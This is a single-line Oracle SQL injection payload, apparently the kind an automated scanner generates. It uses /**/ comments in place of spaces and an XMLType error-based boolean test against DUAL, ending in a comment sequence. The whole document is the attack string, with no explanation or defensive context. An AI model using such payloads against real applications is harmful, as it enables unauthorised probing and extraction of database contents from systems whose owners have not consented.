1AND/**/1680=(SELECT/**/UPPER(XMLType(CHR(60)||CHR(58)||’~’||(SELECT/**/(CASE/**/WHEN/**/(1680=1680)/**/THEN/**/1/**/ELSE/**/0/**/END)/**/FROM/**/DUAL)||’~’||CHR(62)))/**/FROM/**/DUAL) AND 1=1– – 1